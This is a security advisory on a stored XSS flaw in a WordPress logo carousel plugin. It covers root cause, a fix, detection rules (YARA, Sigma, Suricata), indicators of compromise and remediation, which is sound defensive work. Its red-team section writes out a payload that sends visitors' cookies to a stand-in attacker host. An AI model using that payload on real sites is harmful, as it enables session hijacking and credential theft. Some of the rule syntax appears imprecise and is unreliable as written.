CVE-2025-39525

Executive Summary

CVE-2025-39525 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Logo Carousel Slider by wpWax, affecting versions up to and including 2.1.3. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with elevated privileges (e.g., Editor or Administrator) to inject arbitrary JavaScript into the plugin’s slider settings. When the slider is rendered on the frontend, the malicious script executes in the context of any visitor’s browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit code or patch is currently available.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress Plugin Directory. Users who installed the plugin via the WordPress admin dashboard or directly from the repository are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The lack of a patch from the vendor (wpWax) means that all installations remain vulnerable until a fix is released or the plugin is removed.

CVSS Breakdown & Threat Level

• CVSS Score: 6.5 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – An attacker must have at least Editor-level access to the WordPress site.
• User Interaction (UI): Required – The victim must visit a page containing the malicious slider.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Content can be modified.
• Availability (A): Low – Minor disruption possible.

Threat Level: Medium. Exploitation requires authenticated access, but once injected, the stored XSS can affect all site visitors.

Deep Dive & Mechanics

The vulnerability resides in the logo-carousel-slider plugin’s slider configuration interface. The plugin fails to sanitize or escape user input when saving slider titles, descriptions, or custom CSS fields. An authenticated user with the edit_posts capability (typically Editor or Administrator) can inject malicious JavaScript into these fields. When the slider is displayed on the frontend via a shortcode or widget, the injected script is rendered without proper encoding, leading to execution in the visitor’s browser.

Root Cause: The plugin uses echo or the_title() without applying WordPress’s built-in escaping functions like esc_html() or wp_kses_post() on output. Input validation is also missing, allowing arbitrary HTML/JavaScript to be stored in the database.

Attack Flow:

1. Attacker logs in as an Editor or Administrator.
2. Navigates to the Logo Carousel Slider settings page.
3. Injects a payload like <script>alert('XSS')</script> into a slider title or description field.
4. Saves the slider.
5. Any visitor viewing a page with that slider triggers the script.

Vulnerable vs. Patched Code

Since no patch is available, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (example from plugin):

// In slider display function
echo '<h3>' . $slider_title . '</h3>';

Patched Code (recommended):

// Properly escape output
echo '<h3>' . esc_html( $slider_title ) . '</h3>';

Input Validation (recommended):

// Before saving to database
$slider_title = sanitize_text_field( $_POST['slider_title'] );

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress site with Logo Carousel Slider <= 2.1.3 installed and activated.
• Valid Editor or Administrator credentials.

Steps:

1. Log in to WordPress admin.
2. Navigate to Logo Carousel Slider > Add New.
3. In the Slider Title field, enter:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

4. Save the slider.
5. Embed the slider on a page using the shortcode [logo_carousel id="X"].
6. Send the page link to the victim.

Expected Result: The victim’s browser executes the script, sending their cookies to the attacker’s server.

Blue Team

Detection Steps:

1. Monitor WordPress admin logs for unusual slider creation or modification by non-admin users.
2. Review the wp_postmeta table for entries containing <script> tags in fields related to logo_carousel_slider.
3. Use a web application firewall (WAF) to block requests containing <script> in slider-related POST parameters.

Lab Setup:

• Install WordPress 6.x on a local server.
• Install Logo Carousel Slider 2.1.3.
• Create a test user with Editor role.
• Use Burp Suite or browser developer tools to intercept and modify slider creation requests.

Indicators of Compromise (IOCs)

• File System:

  • Modified plugin files (e.g., wp-content/plugins/logo-carousel-slider/).
  • Suspicious entries in wp-content/uploads/ related to the plugin.

• Database:

  • Rows in wp_postmeta with meta_key containing logo_carousel_slider and meta_value containing <script> tags.
  • Unusual shortcodes in wp_posts.post_content.

• Network:

  • Outbound HTTP requests to attacker-controlled domains from the WordPress server.
  • Referer headers containing /wp-admin/admin.php?page=logo-carousel-slider.

• Logs:

  • WordPress debug log entries showing PHP warnings related to logo-carousel-slider.
  • Web server access logs with POST requests to /wp-admin/admin-ajax.php with suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2025_39525_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Logo Carousel Slider plugin"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-39525"
    strings:
        $payload1 = /<script[^>]*>.*?<\/script>/is
        $payload2 = /onerror\s*=\s*["']?[^"']*["']?/is
        $payload3 = /onload\s*=\s*["']?[^"']*["']?/is
    condition:
        any of ($payload*) and
        (meta_key contains "logo_carousel_slider" or
         filepath contains "logo-carousel-slider")
}

Sigma Rule

title: CVE-2025-39525 - Stored XSS in Logo Carousel Slider
id: 8a3f7c2e-5d1b-4a9e-8c6f-2b3d1e0f7a8c
status: experimental
description: Detects stored XSS attempts in Logo Carousel Slider plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/wp-admin/admin-ajax.php'
        cs-uri-query|contains: 'action=logo_carousel_slider_save'
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in slider descriptions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-39525 - Stored XSS in Logo Carousel Slider";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/wp-admin/admin-ajax.php"; http_uri;
    content:"action=logo_carousel_slider_save"; http_client_body;
    pcre:"/<script[^>]*>.*?<\/script>/i";
    sid:1000001;
    rev:1;
    priority:2;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released by wpWax.
2. Remove any malicious sliders from the database by querying wp_postmeta for suspicious entries.
3. Change all WordPress admin passwords if compromise is suspected.

Long-term Fix:

• Apply input sanitization (sanitize_text_field(), wp_kses_post()) on all slider fields.
• Use output escaping (esc_html(), esc_attr()) when rendering slider data.
• Implement a Content Security Policy (CSP) to block inline scripts.

Workaround:

• Restrict edit_posts capability to trusted users only.
• Use a WAF rule to block <script> tags in POST requests to slider endpoints.

Monitoring:

• Enable WordPress audit logging.
• Regularly scan for unauthorized plugin modifications.

Valters IT